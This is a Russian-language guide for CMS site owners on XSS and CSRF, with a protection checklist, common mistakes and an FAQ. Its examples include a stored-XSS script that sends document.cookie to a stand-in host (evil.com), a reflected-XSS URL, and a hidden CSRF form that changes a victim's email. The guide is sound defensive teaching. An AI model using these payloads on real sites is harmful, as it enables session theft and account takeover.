Если у тебя есть свой сайт или форум на CMS, то вопрос безопасности стоит очень остро. Особенно когда речь заходит про такие популярные уязвимости, как XSS и CSRF. Эти две штуки встречаются повсеместно и если их не учитывать, то можешь очень сильно подставить свой проект и, что ещё хуже, пользователей. Давай разберёмся, что это за уязвимости, где их искать, как их прикрывать, а также приведу парочку практических примеров и обязательный чек-лист, чтобы не забыть ничего важного.

Что такое XSS и CSRF

XSS — это Cross-Site Scripting. Проще говоря, злоумышленник вставляет на твой сайт вредоносный скрипт, чаще всего на JavaScript. И когда обычный пользователь заходит на страницу, этот скрипт запускается уже в его браузере. Последствия могут быть разные: от кражи сессионных куков (а значит, подделка аккаунта) до подставных форм, фейкового контента и просто хаотичного вывода мусора.

Основные виды XSS:
- Stored XSS (постоянный) — скрипт сохраняется на сервере, например, в комментариях или профиле пользователя;
- Reflected XSS — скрипт передаётся через URL или параметры запроса и отображается на странице без фильтрации;
- DOM-based XSS — скрипт выполняется из-за плохой обработки данных на стороне клиента.

CSRF — это Cross-Site Request Forgery, или межсайтовая подделка запроса. Тут хитрость в том, что злоумышленник заставляет твоего пользователя совершить нежелательное действие на твоём сайте, пока тот вроде бы находится в безопасности. Например, нажав на вредную ссылку или посетив сайт, где спрятан запрос на смену пароля, перевод денег, удаление данных и т.д. Всё это происходит «от имени» пользователя, потому что у него уже есть активная сессия.

Где ждать эти уязвимости

XSS часто «заселяется» в любых местах с пользовательским вводом: формах комментариев, отзывах, личных кабинетах, блогах, системах с обратной связью. Короче, везде, где можно что-то написать и это потом отображается.

CSRF проникает там, где есть возможность менять данные через POST- или GET-запросы — особенно опасно админские панели, личные кабинеты, страницы с настройками, платежные формы и вообще любой критичный функционал.

Практические примеры

1. Stored XSS
Допустим, у тебя на сайте есть форум и юзер с плохими намерениями пишет в посте скрипт:
<script>document.location='http://evil.com/stealcookie?c='+document.cookie</script>
Если ты не очищаешь ввод, этот код сохранится в базе и при открытии темы у других пользователей запустится и утекает кука.

2. Reflected XSS
Пользователь получает ссылку вроде:
http://site.ru/search?q=<script>alert('XSS')</script>
Если сайт просто выводит параметр q без фильтрации, то при переходе вызовется alert, и тут можно сделать намного страшнее.

3. CSRF
Злоумышленник создаёт страницу с хитрой формой:
<form action="http://site.ru/user/change_email" method="POST">
<input type="hidden" name="email" value="hacked@example.com" />
</form>
И запускает её автосабмитом. Если у жертвы авторизация активна, её почта у тебя меняется без согласия.

Чек-лист для защиты от XSS и CSRF

- Всегда фильтруй и валидируй пользовательский ввод, особенно текст, который потом выводишь на страницу.
- Используй функцию htmlspecialchars или аналоги при выводе (в PHP) — она экранирует опасные символы.
- Для сложных случаев лучше применять Content Security Policy (CSP), чтобы ограничить выполнение скриптов.
- Храни сессионные куки с флагами HttpOnly и Secure — это снизит риски кражи.
- Для защиты от CSRF используйте токены (CSRF Token) в формах, которые сервер проверяет при отправке.
- Проверяй заголовок Origin или Referer для запросов, если есть подозрения.
- Делай logout по таймауту или при смене IP/устройства.
- В админках и важных зонах включай двухфакторную аутентификацию.
- Обновляй CMS и плагины — многие уязвимости действуют за счёт старых багов.
- Делай регулярные аудиты и тесты на проникновение.

Типичные ошибки, которые часто делают

- Просто убирают скрипты поиском и заменой, а потом забывают про другие векторы (например, обработку URL).
- Не фильтруют данные, получаемые из внешних источников (API, интеграции).
- Доверяют заголовкам Referer и Origin без дополнительной проверки.
- Отсутствие токенов CSRF или неправильное их использование.
- Хранят куки без HttpOnly, что даёт доступ скриптам к ним.
- Используют устаревшие или плохо написанные CMS и плагины.
- Не делают регулярных тестов — то есть уязвимости живут месяцами.

FAQ

В: Насколько критична XSS?
О: Очень. Это одна из самых частых уязвимостей и её легко использовать для кражи сессий, логинов или отображения фейкового контента.

В: А CSRF может работать без сессий?
О: Нет, CSRF напрямую зависит от сохранённых сессий или cookie, потому что атака делает запросы от имени залогиненного пользователя.

В: Какие библиотеки помогут с CSRF?
О: В большинстве современных фреймворков есть встроенная поддержка CSRF-токенов — с ними работать проще. Для PHP подойдёт Symfony, Laravel, для JS — Express с csrf-middleware.

В: Можно ли отключить Javascript, чтобы избежать XSS?
О: Это радикальный способ, но совершенно нереальный для обычных пользователей. Лучше делать защиту на сервере и клиенте, а не полагаться на отключение JS.

В: Есть ли методы защиты от XSS на уровне базы данных?
О: Лучше всего делать спасаемый вывод, фильтруя данные при выводе в HTML. Хранение в базе лучше без изменения, но с надёжной фильтрацией на выводе.

Если хочешь, чтобы твоя CMS не была лёгкой мишенью и пользователи не просили денег за кражу аккаунтов или симпатичных данных, обязательно принимай меры по защите от XSS и CSRF. Это базовые, но очень важные моменты, без которых сайт становится дырой. Если есть вопросы по конкретным CMS или способам настройки — спрашивай, народ поможет.